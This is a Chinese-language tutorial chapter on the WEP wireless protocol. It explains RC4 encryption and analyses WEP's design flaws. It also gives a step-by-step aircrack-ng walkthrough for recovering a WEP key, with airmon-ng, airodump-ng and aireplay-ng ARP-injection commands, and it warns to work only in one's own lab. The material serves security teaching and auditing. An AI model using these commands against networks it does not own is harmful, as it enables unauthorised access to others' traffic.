2. WEP协议:从加密原理到破解实战
WEP,全称Wired Equivalent Privacy,有线等效保密。名字起得挺响亮,但实际效果嘛……我当年第一次在实验室里破解WEP时,整个过程不到五分钟。嗯,咱们今天就来聊聊这个“老熟人”。
2.1 WEP加密原理:它到底是怎么工作的?
WEP的核心目标很简单:让无线通信跟有线一样安全。它用了两个技术:RC4流加密和CRC-32完整性校验。说白了,就是把数据先搅乱,再贴个防伪标签。
加密流程大致分四步:
- 计算完整性校验值(ICV):对原始数据做CRC-32,得到一个4字节的校验和,拼在数据后面。
- 生成初始化向量(IV):随机选一个24位的IV,跟预共享密钥(PSK)拼接,作为RC4的种子。
- RC4加密:用种子生成密钥流,跟数据(含ICV)做异或,得到密文。
- 封装发送:把IV(明文)和密文一起发出去。
关键点:IV是24位,只有约1600万个可能值。这在当时看来不少,但实际用起来……你想想看,一个繁忙的AP,几小时就能把IV池用光。
2.2 RC4算法:WEP的加密引擎
RC4是个流密码,由Ron Rivest在1987年设计。它的实现非常简单,我当年在嵌入式设备上移植时,只用了不到100行C代码。但简单不代表安全。
RC4分两个阶段:
- 密钥调度算法(KSA):用种子初始化一个256字节的S盒。
- 伪随机生成算法(PRGA):从S盒中不断输出伪随机字节,形成密钥流。
WEP的用法是:IV(24位)+ 密钥(40位或104位)作为种子。注意,IV是明文的,攻击者可以直接看到。
// RC4 KSA 伪代码示例
for i from 0 to 255
S[i] = i
j = 0
for i from 0 to 255
j = (j + S[i] + key[i mod keylen]) mod 256
swap(S[i], S[j])
// RC4 PRGA 伪代码示例
i = 0
j = 0
while generating output
i = (i + 1) mod 256
j = (j + S[i]) mod 256
swap(S[i], S[j])
output S[(S[i] + S[j]) mod 256]
我的经验:RC4本身不是完全不可救药,但WEP对它的使用方式有大问题。IV太短、密钥直接拼接、没有身份验证——这三个漏洞叠加,让WEP成了纸糊的盾牌。
2.3 WEP漏洞分析:为什么它不堪一击?
WEP的漏洞不是单一问题,而是一连串设计缺陷的叠加。我把它归纳为四大类:
| 漏洞类别 | 具体问题 | 攻击利用方式 |
|---|---|---|
| IV重用 | 24位IV空间太小,繁忙AP几小时就会重复 | 收集相同IV的密文,通过异或分析明文 |
| RC4弱密钥 | 特定IV值会导致密钥流前几个字节可预测 | Fluhrer-Mantin-Shamir(FMS)攻击 |
| 无重放保护 | ICV不包含序列号,攻击者可重放旧包 | 重放攻击,诱导AP泄露更多信息 |
| ICV缺陷 | CRC-32是线性函数,可被比特翻转攻击绕过 | 修改密文后重新计算ICV,AP无法检测 |
为什么会这样?我举个例子。假设你用同一个密钥加密两条消息,攻击者拿到两个密文后做异或,密钥流就抵消了,剩下的就是两条明文的异或。再结合一些统计技巧,明文就出来了。
避坑指南:我曾经在2005年帮一家公司做无线安全审计,他们还在用WEP。我告诉他们这玩意跟没加密差不多,他们不信。结果我用一台普通笔记本,装了BackTrack,15分钟就拿到了密钥。从那以后,他们再也没提过WEP。
2.4 破解演示:实战WEP密钥恢复
咱们来走一遍典型的WEP破解流程。工具用的是aircrack-ng套件,这是无线安全审计的标配。我建议你在自己的实验环境里操作,别在别人的网络上试——那是违法的。
破解步骤:
- 开启监听模式:把无线网卡切换到monitor模式。
- 抓包:用airodump-ng捕获目标AP的流量。
- 注入ARP包:用aireplay-ng发送伪造的ARP请求,迫使AP生成大量新IV。
- 收集足够IV:通常需要2万到5万个唯一IV。
- 运行aircrack-ng:用收集到的IV破解WEP密钥。
# 步骤1:查看无线接口
iwconfig
# 步骤2:开启监听模式
airmon-ng start wlan0
# 步骤3:抓包,保存到文件
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_crack wlan0mon
# 步骤4:打开新终端,注入ARP包
aireplay-ng -3 -b 00:11:22:33:44:55 -h 你的MAC地址 wlan0mon
# 步骤5:收集足够数据后,运行破解
aircrack-ng wep_crack-01.cap
关键点:破解速度取决于IV收集速度。用ARP注入法,每秒可以产生几百个新IV。我见过最快的记录是3分钟破解64位WEP,8分钟破解128位WEP。
破解成功后,aircrack-ng会输出密钥。注意,它显示的是十六进制格式,你需要转换成ASCII才能用。比如密钥是"12:34:56:78:9A",对应的ASCII可能是乱码——因为WEP密钥不一定是可打印字符。
2.5 WEP的遗产:我们学到了什么?
WEP的失败给后来的协议设计留下了深刻教训。我个人总结了三条:
- 密码学不能自己拼凑:把RC4和CRC-32简单组合,不等于安全。
- 密钥管理是核心:静态密钥、短IV、无更新机制,这些都是致命伤。
- 安全协议需要公开审查:WEP的算法在发布前没有经过充分密码分析,结果漏洞很快就被发现了。
现在你明白了吧?WEP不是“不够安全”,而是“根本不安全”。如果你还在维护老设备,赶紧升级到WPA2或WPA3。别等到被攻破了才后悔。